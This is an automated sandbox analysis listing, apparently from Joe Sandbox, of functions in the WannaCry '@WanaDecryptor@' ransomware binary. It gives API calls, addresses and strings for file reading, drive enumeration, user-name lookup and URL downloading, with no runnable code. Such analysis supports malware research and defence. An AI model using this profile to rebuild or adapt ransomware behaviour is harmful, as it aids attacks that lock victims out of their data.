?_Split@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEXXZ.MSVCP60(?,00000000,?,?,?,?,00413591,000000FF,00402DE4,00000008,?,?), ref: 00402F76
?_Grow@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAE_NI_N@Z.MSVCP60(?,00000000), ref: 00402FAD
?_Eos@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEXI@Z.MSVCP60(?), ref: 00402FBA
?_Split@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEXXZ.MSVCP60 ref: 00402FC2
?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z.MSVCP60(00000001,?,00000000,?,?,?,?,00413591,000000FF,00402DE4,00000008,?,?), ref: 00402FF9
?_Grow@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAE_NI_N@Z.MSVCP60(?,00000001,?,00000000,?,?,?,?,00413591,000000FF,00402DE4,00000008,?,?), ref: 0040303A

Memory Dump Source

Source File: 00000012.00000001.1667276534.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000001.1667261562.00400000.00000002.sdmp
Associated: 00000012.00000001.1667296194.00415000.00000002.sdmp
Associated: 00000012.00000001.1667823221.0041F000.00000008.sdmp
Associated: 00000012.00000001.1668481800.00422000.00000004.sdmp
Associated: 00000012.00000001.1668680404.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_1_400000_@WanaDecryptor@.jbxd

Function 00407F80, Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 101

APIs

fopen.MSVCRT ref: 00407FBD
fread.MSVCRT ref: 00407FDD
fclose.MSVCRT ref: 00407FE4

Part of subcall function 0040BE90: strncpy.MSVCRT ref: 0040BE9C
Part of subcall function 0040BE90: strncpy.MSVCRT ref: 0040BEAD
Part of subcall function 0040BE90: strncpy.MSVCRT ref: 0040BEBE

Part of subcall function 0040C4F0: strncpy.MSVCRT ref: 0040C628

Part of subcall function 00401A10: fopen.MSVCRT ref: 00401A2B
Part of subcall function 00401A10: fread.MSVCRT ref: 00401A4B
Part of subcall function 00401A10: fwrite.MSVCRT ref: 00401A58
Part of subcall function 00401A10: fclose.MSVCRT ref: 00401A66
Part of subcall function 00401A10: fclose.MSVCRT ref: 00401A74

Strings

+++, xrefs: 00408011, 00408035
00000000.res, xrefs: 00407FB6
s.wnry, xrefs: 00407FF8

Memory Dump Source

Source File: 00000012.00000001.1667276534.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000001.1667261562.00400000.00000002.sdmp
Associated: 00000012.00000001.1667296194.00415000.00000002.sdmp
Associated: 00000012.00000001.1667823221.0041F000.00000008.sdmp
Associated: 00000012.00000001.1668481800.00422000.00000004.sdmp
Associated: 00000012.00000001.1668680404.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_1_400000_@WanaDecryptor@.jbxd

Function 00401220, Relevance: 10.6, APIs: 7, Instructions: 53

APIs

SendMessageA.USER32(?,00000402,00000028,00000000), ref: 00401253
KillTimer.USER32(?,000003E9), ref: 0040125E
#4853.MFC42 ref: 00401266
SendMessageA.USER32(?,00000408,00000000,00000000), ref: 0040127B
SendMessageA.USER32(?,00000405,00000000,00000000), ref: 00401295
SendMessageA.USER32(?,00000408,00000000,00000000), ref: 004012B1
#2379.MFC42 ref: 004012C4

Memory Dump Source

Source File: 00000012.00000001.1667276534.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000001.1667261562.00400000.00000002.sdmp
Associated: 00000012.00000001.1667296194.00415000.00000002.sdmp
Associated: 00000012.00000001.1667823221.0041F000.00000008.sdmp
Associated: 00000012.00000001.1668481800.00422000.00000004.sdmp
Associated: 00000012.00000001.1668680404.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_1_400000_@WanaDecryptor@.jbxd

Function 00403860, Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43

APIs

SendMessageA.USER32(?,00000147,00000000,00000000), ref: 0040387A
#1200.MFC42(Please select a host to decrypt.,00000000,00000000), ref: 0040388A
SendMessageA.USER32(?,00000150,00000000,00000000), ref: 0040389F
SendMessageA.USER32(?,00001009,00000000,00000000), ref: 004038B5
CreateThread.KERNEL32(00000000,00000000,004038E0,?,00000000,00000000), ref: 004038C5

Strings

Please select a host to decrypt., xrefs: 00403885

Memory Dump Source

Source File: 00000012.00000001.1667276534.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000001.1667261562.00400000.00000002.sdmp
Associated: 00000012.00000001.1667296194.00415000.00000002.sdmp
Associated: 00000012.00000001.1667823221.0041F000.00000008.sdmp
Associated: 00000012.00000001.1668481800.00422000.00000004.sdmp
Associated: 00000012.00000001.1668680404.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_1_400000_@WanaDecryptor@.jbxd

Function 004044C0, Relevance: 10.5, APIs: 7, Instructions: 38

APIs

GetParent.USER32(?), ref: 004044D2
#2864.MFC42(00000000), ref: 004044D9
SendMessageA.USER32(?,00000031,00000000,00000000), ref: 004044E8
#2860.MFC42(00000000), ref: 004044EF
GetObjectA.GDI32(?,0000003C,?), ref: 00404503
CreateFontIndirectA.GDI32(?), ref: 00404513
#1641.MFC42(00000000), ref: 0040451D

Memory Dump Source

Source File: 00000012.00000001.1667276534.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000001.1667261562.00400000.00000002.sdmp
Associated: 00000012.00000001.1667296194.00415000.00000002.sdmp
Associated: 00000012.00000001.1667823221.0041F000.00000008.sdmp
Associated: 00000012.00000001.1668481800.00422000.00000004.sdmp
Associated: 00000012.00000001.1668680404.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_1_400000_@WanaDecryptor@.jbxd

Function 0040A150, Relevance: 9.4, APIs: 6, Instructions: 375

APIs

??0exception@@QAE@ABQBD@Z.MSVCRT ref: 0040A16F
_CxxThrowException.MSVCRT(?,0041C9C0), ref: 0040A17F
??0exception@@QAE@ABQBD@Z.MSVCRT(?), ref: 0040A1A8
_CxxThrowException.MSVCRT(?,0041C9C0), ref: 0040A1B8
??0exception@@QAE@ABQBD@Z.MSVCRT(?), ref: 0040A1E1
_CxxThrowException.MSVCRT(?,0041C9C0), ref: 0040A1F1

Memory Dump Source

Source File: 00000012.00000001.1667276534.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000001.1667261562.00400000.00000002.sdmp
Associated: 00000012.00000001.1667296194.00415000.00000002.sdmp
Associated: 00000012.00000001.1667823221.0041F000.00000008.sdmp
Associated: 00000012.00000001.1668481800.00422000.00000004.sdmp
Associated: 00000012.00000001.1668680404.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_1_400000_@WanaDecryptor@.jbxd

Function 0040C060, Relevance: 9.1, APIs: 6, Instructions: 138

APIs

Part of subcall function 0040BED0: #823.MFC42(0000002C), ref: 0040BF0C
Part of subcall function 0040BED0: GetComputerNameA.KERNEL32(?,?), ref: 0040BFB9
Part of subcall function 0040BED0: GetUserNameA.ADVAPI32 ref: 0040BFF5

SendMessageA.USER32(?,00004E20,00000000,00000000), ref: 0040C0D5
SendMessageA.USER32(?,00004E20,00000000,00000000), ref: 0040C102
SendMessageA.USER32(?,00004E21,000000FF,00000000), ref: 0040C152
SendMessageA.USER32(?,00004E21,00000000,00000000), ref: 0040C189
SendMessageA.USER32(?,00004E22,000000FF,00000000), ref: 0040C1C2
SendMessageA.USER32(?,00004E22,00000000,00000000), ref: 0040C1FE

Memory Dump Source

Source File: 00000012.00000001.1667276534.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000001.1667261562.00400000.00000002.sdmp
Associated: 00000012.00000001.1667296194.00415000.00000002.sdmp
Associated: 00000012.00000001.1667823221.0041F000.00000008.sdmp
Associated: 00000012.00000001.1668481800.00422000.00000004.sdmp
Associated: 00000012.00000001.1668680404.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_1_400000_@WanaDecryptor@.jbxd

Function 004049B0, Relevance: 9.1, APIs: 6, Instructions: 107

APIs

CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004049F5
GetFileSize.KERNEL32(00000000,00000000), ref: 00404A0B
GlobalAlloc.KERNEL32(00000000,00000000), ref: 00404A3A
ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 00404A52
_local_unwind2.MSVCRT ref: 00404A85
_local_unwind2.MSVCRT ref: 00404AC7

Memory Dump Source

Source File: 00000012.00000001.1667276534.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000001.1667261562.00400000.00000002.sdmp
Associated: 00000012.00000001.1667296194.00415000.00000002.sdmp
Associated: 00000012.00000001.1667823221.0041F000.00000008.sdmp
Associated: 00000012.00000001.1668481800.00422000.00000004.sdmp
Associated: 00000012.00000001.1668680404.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_1_400000_@WanaDecryptor@.jbxd

Function 00409C20, Relevance: 9.1, APIs: 6, Instructions: 104

APIs

#3797.MFC42 ref: 00409C27
#6734.MFC42(?,?), ref: 00409C4E
SendMessageA.USER32(?,00000408,00000000,00000000), ref: 00409C68
#4284.MFC42(00004000,00000000,00000000,?,?), ref: 00409CCD
#4284.MFC42(00000000,00004000,00000000,?,?), ref: 00409CDD
InvalidateRect.USER32(?,00000000,00000001), ref: 00409CF0

Memory Dump Source

Source File: 00000012.00000001.1667276534.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000001.1667261562.00400000.00000002.sdmp
Associated: 00000012.00000001.1667296194.00415000.00000002.sdmp
Associated: 00000012.00000001.1667823221.0041F000.00000008.sdmp
Associated: 00000012.00000001.1668481800.00422000.00000004.sdmp
Associated: 00000012.00000001.1668680404.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_1_400000_@WanaDecryptor@.jbxd

Function 004127E0, Relevance: 9.1, APIs: 6, Instructions: 103

APIs

#823.MFC42(00000244,?,00000428,?,?,0041438B,000000FF,00412933,?,00000000,00000002,?,0040B6CF,?,?), ref: 004127FD
#823.MFC42(?,?,?), ref: 00412849

Part of subcall function 00411C00: GetCurrentDirectoryA.KERNEL32(00000104,00000140,00000000,00000000,?,?,00000000,0041289D), ref: 00411C27
Part of subcall function 00411C00: SetFilePointer.KERNEL32(?,00000000,00000000,00000001), ref: 00411C87

#825.MFC42(?), ref: 004128B5
#825.MFC42(?), ref: 004128CE
#825.MFC42(00000000), ref: 004128DD
#823.MFC42(00000008), ref: 004128FA

Memory Dump Source

Source File: 00000012.00000001.1667276534.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000001.1667261562.00400000.00000002.sdmp
Associated: 00000012.00000001.1667296194.00415000.00000002.sdmp
Associated: 00000012.00000001.1667823221.0041F000.00000008.sdmp
Associated: 00000012.00000001.1668481800.00422000.00000004.sdmp
Associated: 00000012.00000001.1668680404.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_1_400000_@WanaDecryptor@.jbxd

Function 0040B780, Relevance: 9.1, APIs: 6, Instructions: 68

APIs

CreateDirectoryA.KERNEL32(?,00000000,?,0001D65A,00000428), ref: 0040B793
GetTempFileNameA.KERNEL32(?,004214DC,00000000,?), ref: 0040B7D4
DeleteUrlCacheEntry.WININET(?), ref: 0040B7DB
URLDownloadToFileA.URLMON(00000000,?,?,00000000,00000000), ref: 0040B7ED
DeleteFileA.KERNEL32(?), ref: 0040B815
DeleteFileA.KERNEL32(?), ref: 0040B82C

Part of subcall function 0040B6A0: CreateDirectoryA.KERNEL32(?,00000000,?,0001D65A,00000000,00000428), ref: 0040B6B4
Part of subcall function 0040B6A0: DeleteFileA.KERNEL32(?), ref: 0040B6D9
Part of subcall function 0040B6A0: sprintf.MSVCRT ref: 0040B74E

Memory Dump Source

Source File: 00000012.00000001.1667276534.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000001.1667261562.00400000.00000002.sdmp
Associated: 00000012.00000001.1667296194.00415000.00000002.sdmp
Associated: 00000012.00000001.1667823221.0041F000.00000008.sdmp
Associated: 00000012.00000001.1668481800.00422000.00000004.sdmp
Associated: 00000012.00000001.1668680404.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_1_400000_@WanaDecryptor@.jbxd

Function 00409A40, Relevance: 9.1, APIs: 6, Instructions: 65

APIs

OffsetRect.USER32(?,?,?), ref: 00409A9B
CreateRectRgn.GDI32(?,?,?,?), ref: 00409AB5
#1641.MFC42(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00414220), ref: 00409AC0
#5781.MFC42(0041679C,00000000), ref: 00409ACC
#2414.MFC42(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00414220,000000FF), ref: 00409AEB
#2414.MFC42(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00414220,000000FF), ref: 00409B04

Memory Dump Source

Source File: 00000012.00000001.1667276534.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000001.1667261562.00400000.00000002.sdmp
Associated: 00000012.00000001.1667296194.00415000.00000002.sdmp
Associated: 00000012.00000001.1667823221.0041F000.00000008.sdmp
Associated: 00000012.00000001.1668481800.00422000.00000004.sdmp
Associated: 00000012.00000001.1668680404.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_1_400000_@WanaDecryptor@.jbxd

Function 004034A0, Relevance: 9.1, APIs: 6, Instructions: 56

APIs

GetClientRect.USER32(?,?), ref: 004034C6
#283.MFC42(?), ref: 004034D7
#5787.MFC42 ref: 004034EF
PatBlt.GDI32(?,00000000,00000000,?,?,00F00021), ref: 00403519
#5787.MFC42(00000000), ref: 00403524
#2414.MFC42(00000000), ref: 0040353D

Memory Dump Source

Source File: 00000012.00000001.1667276534.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000001.1667261562.00400000.00000002.sdmp
Associated: 00000012.00000001.1667296194.00415000.00000002.sdmp
Associated: 00000012.00000001.1667823221.0041F000.00000008.sdmp
Associated: 00000012.00000001.1668481800.00422000.00000004.sdmp
Associated: 00000012.00000001.1668680404.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_1_400000_@WanaDecryptor@.jbxd

Function 00404EB0, Relevance: 9.1, APIs: 6, Instructions: 56

APIs

GetClientRect.USER32(?,?), ref: 00404ED6
#283.MFC42(?), ref: 00404EE4
#5787.MFC42 ref: 00404EFC
PatBlt.GDI32(?,00000000,00000000,?,?,00F00021), ref: 00404F26
#5787.MFC42(00000000), ref: 00404F31
#2414.MFC42(00000000), ref: 00404F4A

Memory Dump Source

Source File: 00000012.00000001.1667276534.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000001.1667261562.00400000.00000002.sdmp
Associated: 00000012.00000001.1667296194.00415000.00000002.sdmp
Associated: 00000012.00000001.1667823221.0041F000.00000008.sdmp
Associated: 00000012.00000001.1668481800.00422000.00000004.sdmp
Associated: 00000012.00000001.1668680404.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_1_400000_@WanaDecryptor@.jbxd

Function 00406940, Relevance: 9.1, APIs: 6, Instructions: 56

APIs

GetClientRect.USER32(?,?), ref: 00406966
#283.MFC42(?), ref: 00406977
#5787.MFC42 ref: 0040698F
PatBlt.GDI32(?,00000000,00000000,?,?,00F00021), ref: 004069B9
#5787.MFC42(00000000), ref: 004069C4
#2414.MFC42(00000000), ref: 004069DD

Memory Dump Source

Source File: 00000012.00000001.1667276534.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000001.1667261562.00400000.00000002.sdmp
Associated: 00000012.00000001.1667296194.00415000.00000002.sdmp
Associated: 00000012.00000001.1667823221.0041F000.00000008.sdmp
Associated: 00000012.00000001.1668481800.00422000.00000004.sdmp
Associated: 00000012.00000001.1668680404.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_1_400000_@WanaDecryptor@.jbxd

Function 00404310, Relevance: 9.1, APIs: 6, Instructions: 51

APIs

#470.MFC42(?,00000000), ref: 0040433F
#5789.MFC42 ref: 00404354
#5875.MFC42(00000001), ref: 00404361
#6172.MFC42(?,00000001), ref: 0040436E
#5789.MFC42(00000000), ref: 0040438F
#755.MFC42(00000000), ref: 004043A0

Part of subcall function 004044C0: GetParent.USER32(?), ref: 004044D2
Part of subcall function 004044C0: #2864.MFC42(00000000), ref: 004044D9
Part of subcall function 004044C0: SendMessageA.USER32(?,00000031,00000000,00000000), ref: 004044E8
Part of subcall function 004044C0: #2860.MFC42(00000000), ref: 004044EF
Part of subcall function 004044C0: GetObjectA.GDI32(?,0000003C,?), ref: 00404503
Part of subcall function 004044C0: CreateFontIndirectA.GDI32(?), ref: 00404513
Part of subcall function 004044C0: #1641.MFC42(00000000), ref: 0040451D

Memory Dump Source

Source File: 00000012.00000001.1667276534.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000001.1667261562.00400000.00000002.sdmp
Associated: 00000012.00000001.1667296194.00415000.00000002.sdmp
Associated: 00000012.00000001.1667823221.0041F000.00000008.sdmp
Associated: 00000012.00000001.1668481800.00422000.00000004.sdmp
Associated: 00000012.00000001.1668680404.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_1_400000_@WanaDecryptor@.jbxd

Function 00403EB0, Relevance: 9.0, APIs: 6, Instructions: 24

APIs

#3092.MFC42(00000407,00000000,?,?,00403916,00000000), ref: 00403EBE
#2642.MFC42(00000407,00000000,?,?,00403916,00000000), ref: 00403EC5
#3092.MFC42(00000408,00000000,00000407,00000000,?,?,00403916,00000000), ref: 00403ED2
#2642.MFC42(00000408,00000000,00000407,00000000,?,?,00403916,00000000), ref: 00403ED9
#3092.MFC42(00000002,00000000,00000408,00000000,00000407,00000000,?,?,00403916,00000000), ref: 00403EE3
#2642.MFC42(00000002,00000000,00000408,00000000,00000407,00000000,?,?,00403916,00000000), ref: 00403EEA

Memory Dump Source

Source File: 00000012.00000001.1667276534.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000001.1667261562.00400000.00000002.sdmp
Associated: 00000012.00000001.1667296194.00415000.00000002.sdmp
Associated: 00000012.00000001.1667823221.0041F000.00000008.sdmp
Associated: 00000012.00000001.1668481800.00422000.00000004.sdmp
Associated: 00000012.00000001.1668680404.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_1_400000_@WanaDecryptor@.jbxd

Function 00403A20, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 63

APIs

GetLogicalDrives.KERNEL32 ref: 00403A35
GetDriveTypeW.KERNEL32 ref: 00403A7A
GetDiskFreeSpaceExW.KERNEL32(0000005C,?,0000005C,?), ref: 00403A95

Part of subcall function 004026B0: swprintf.MSVCRT ref: 00402728
Part of subcall function 004026B0: FindFirstFileW.KERNEL32(?,?,00000000), ref: 0040273E
Part of subcall function 004026B0: #825.MFC42(?,?,?,?), ref: 0040276F
Part of subcall function 004026B0: #825.MFC42(?), ref: 004027A5
Part of subcall function 004026B0: wcscmp.MSVCRT ref: 004027E1
Part of subcall function 004026B0: wcscmp.MSVCRT ref: 004027FB
Part of subcall function 004026B0: swprintf.MSVCRT(?,%s\%s,?,?), ref: 00402822
Part of subcall function 004026B0: GetFileAttributesW.KERNEL32(?), ref: 00402830
Part of subcall function 004026B0: ?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z.MSVCP60(00000000,?,?), ref: 00402863
Part of subcall function 004026B0: wcslen.MSVCRT ref: 0040286E
Part of subcall function 004026B0: ?assign@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEAAV12@PBGI@Z.MSVCP60(?,00000000), ref: 0040287D
Part of subcall function 004026B0: wcscmp.MSVCRT ref: 004028C3
Part of subcall function 004026B0: wcscmp.MSVCRT ref: 004028DD
Part of subcall function 004026B0: wcscmp.MSVCRT ref: 004028F3
Part of subcall function 004026B0: ?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z.MSVCP60(00000000), ref: 00402909
Part of subcall function 004026B0: wcslen.MSVCRT ref: 00402914
Part of subcall function 004026B0: ?assign@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEAAV12@PBGI@Z.MSVCP60(?,00000000), ref: 00402923
Part of subcall function 004026B0: ?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z.MSVCP60(00000001), ref: 00402957
Part of subcall function 004026B0: FindNextFileW.KERNEL32(?,?), ref: 0040296A
Part of subcall function 004026B0: FindClose.KERNEL32(?), ref: 0040297D
Part of subcall function 004026B0: swprintf.MSVCRT(?,%s\%s,?,@Please_Read_Me@.txt), ref: 00402A0C
Part of subcall function 004026B0: swprintf.MSVCRT(?,%s\%s,?,@WanaDecryptor@.exe.lnk), ref: 00402A2C
Part of subcall function 004026B0: #825.MFC42(?), ref: 00402A6B
Part of subcall function 004026B0: #825.MFC42(?), ref: 00402ABF

Strings

: , xrefs: 00403A53
\, xrefs: 00403A73

Memory Dump Source

Source File: 00000012.00000001.1667276534.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000001.1667261562.00400000.00000002.sdmp
Associated: 00000012.00000001.1667296194.00415000.00000002.sdmp
Associated: 00000012.00000001.1667823221.0041F000.00000008.sdmp
Associated: 00000012.00000001.1668481800.00422000.00000004.sdmp
Associated: 00000012.00000001.1668680404.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_1_400000_@WanaDecryptor@.jbxd

Function 00406EF0, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 45

APIs

#823.MFC42(?), ref: 00406F15
SendMessageA.USER32(?,0000044B,00000000,?), ref: 00406F3F
ShellExecuteA.SHELL32(00000000,open,?,00000000,00000000,00000005), ref: 00406F57
#825.MFC42(?), ref: 00406F62

Strings

open, xrefs: 00406F50

Memory Dump Source

Source File: 00000012.00000001.1667276534.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000001.1667261562.00400000.00000002.sdmp
Associated: 00000012.00000001.1667296194.00415000.00000002.sdmp
Associated: 00000012.00000001.1667823221.0041F000.00000008.sdmp
Associated: 00000012.00000001.1668481800.00422000.00000004.sdmp
Associated: 00000012.00000001.1668680404.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_1_400000_@WanaDecryptor@.jbxd

Function 004030E0, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 40

APIs

#324.MFC42(0000008A,?,?,?,?,?,?,004135B3,000000FF), ref: 00403109
#567.MFC42(0000008A,?,?,?,?,?,?,004135B3,000000FF), ref: 00403119
#567.MFC42(0000008A,?,?,?,?,?,?,004135B3,000000FF), ref: 00403131

Strings

DZA, xrefs: 00403146
0ZA, xrefs: 00403156

Memory Dump Source

Source File: 00000012.00000001.1667276534.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000001.1667261562.00400000.00000002.sdmp
Associated: 00000012.00000001.1667296194.00415000.00000002.sdmp
Associated: 00000012.00000001.1667823221.0041F000.00000008.sdmp
Associated: 00000012.00000001.1668481800.00422000.00000004.sdmp
Associated: 00000012.00000001.1668680404.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_1_400000_@WanaDecryptor@.jbxd

Function 00404C40, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 34

APIs

#324.MFC42(00000089,?,?,?,?,?,00413809,000000FF), ref: 00404C68
#540.MFC42(00000089,?,?,?,?,?,00413809,000000FF), ref: 00404C7A
#860.MFC42(00421798), ref: 00404CAD

Strings

0ZA, xrefs: 00404C94
DZA, xrefs: 00404C86

Memory Dump Source

Source File: 00000012.00000001.1667276534.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000001.1667261562.00400000.00000002.sdmp
Associated: 00000012.00000001.1667296194.00415000.00000002.sdmp
Associated: 00000012.00000001.1667823221.0041F000.00000008.sdmp
Associated: 00000012.00000001.1668481800.00422000.00000004.sdmp
Associated: 00000012.00000001.1668680404.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_1_400000_@WanaDecryptor@.jbxd

Function 00408B40, Relevance: 7.6, APIs: 5, Instructions: 75

APIs

BitBlt.GDI32(?,?,00000001,?,?,00000000,?,00000001,00CC0020), ref: 00408BA7
#5785.MFC42(?,?,?,?,?,?,?,?,?,?,0041407B,000000FF), ref: 00408BBA
#5785.MFC42(?,?,?,?,?,?,?,?,?,?,0041407B,000000FF), ref: 00408BC9
#2414.MFC42(?,?,?,?,?,?,?,?,0041407B,000000FF), ref: 00408BEA
#640.MFC42(?,?,?,?,?,?,?,?,0041407B,000000FF), ref: 00408BFF

Memory Dump Source

Source File: 00000012.00000001.1667276534.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000001.1667261562.00400000.00000002.sdmp
Associated: 00000012.00000001.1667296194.00415000.00000002.sdmp
Associated: 00000012.00000001.1667823221.0041F000.00000008.sdmp
Associated: 00000012.00000001.1668481800.00422000.00000004.sdmp
Associated: 00000012.00000001.1668680404.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_1_400000_@WanaDecryptor@.jbxd

Function 00404530, Relevance: 7.6, APIs: 5, Instructions: 50

APIs

#289.MFC42 ref: 0040455F
#5789.MFC42(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,004137C8), ref: 00404574
GetTextExtentPoint32A.GDI32(?,?,?,?), ref: 0040458D
#5789.MFC42(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 004045A6
#613.MFC42 ref: 004045BB

Memory Dump Source

Source File: 00000012.00000001.1667276534.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000001.1667261562.00400000.00000002.sdmp
Associated: 00000012.00000001.1667296194.00415000.00000002.sdmp
Associated: 00000012.00000001.1667823221.0041F000.00000008.sdmp
Associated: 00000012.00000001.1668481800.00422000.00000004.sdmp
Associated: 00000012.00000001.1668680404.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_1_400000_@WanaDecryptor@.jbxd

Function 00406CF0, Relevance: 7.5, APIs: 5, Instructions: 48

APIs

SendMessageA.USER32(?,00000445,00000000,04000000), ref: 00406D2C
#353.MFC42(?,00000000,?,?,?,?,?,?,?,?,?,?,0001DAA0), ref: 00406D39
SendMessageA.USER32 ref: 00406D69
#1979.MFC42 ref: 00406D6F

Part of subcall function 00406DC0: SendMessageA.USER32(?,0000000E,00000000,00000000), ref: 00406DDC
Part of subcall function 00406DC0: #823.MFC42(00000001,?,?), ref: 00406DEC
Part of subcall function 00406DC0: SendMessageA.USER32(?,0000044B,00000000,?), ref: 00406E1D
Part of subcall function 00406DC0: _strnicmp.MSVCRT ref: 00406E3E
Part of subcall function 00406DC0: _strnicmp.MSVCRT ref: 00406E5A
Part of subcall function 00406DC0: SendMessageA.USER32(?,00000437,00000000,?), ref: 00406EA2
Part of subcall function 00406DC0: #6136.MFC42 ref: 00406EC4
Part of subcall function 00406DC0: #825.MFC42(?), ref: 00406ED7

#665.MFC42 ref: 00406D87

Memory Dump Source

Source File: 00000012.00000001.1667276534.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000001.1667261562.00400000.00000002.sdmp
Associated: 00000012.00000001.1667296194.00415000.00000002.sdmp
Associated: 00000012.00000001.1667823221.0041F000.00000008.sdmp
Associated: 00000012.00000001.1668481800.00422000.00000004.sdmp
Associated: 00000012.00000001.1668680404.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_1_400000_@WanaDecryptor@.jbxd

Function 00407DB0, Relevance: 7.5, APIs: 5, Instructions: 42

APIs

Part of subcall function 00401000: #324.MFC42(0000008D,?,?,?,?,?,?,00413458,000000FF), ref: 00401029
Part of subcall function 00401000: #567.MFC42(0000008D,?,?,?,?,?,?,00413458,000000FF), ref: 00401039

time.MSVCRT ref: 00407DEA
#2514.MFC42 ref: 00407E18
time.MSVCRT ref: 00407E2A
#765.MFC42 ref: 00407E49
#641.MFC42 ref: 00407E5D

Memory Dump Source

Source File: 00000012.00000001.1667276534.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000001.1667261562.00400000.00000002.sdmp
Associated: 00000012.00000001.1667296194.00415000.00000002.sdmp
Associated: 00000012.00000001.1667823221.0041F000.00000008.sdmp
Associated: 00000012.00000001.1668481800.00422000.00000004.sdmp
Associated: 00000012.00000001.1668680404.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_1_400000_@WanaDecryptor@.jbxd

Function 004031A0, Relevance: 7.5, APIs: 5, Instructions: 40

APIs

#2414.MFC42(?,?,?,?,?,?,?,00403188), ref: 004031DF
#2414.MFC42(?,?,?,?,?,?,?,00403188), ref: 00403201
#616.MFC42(?,?,?,?,?,?,?,00403188), ref: 00403217
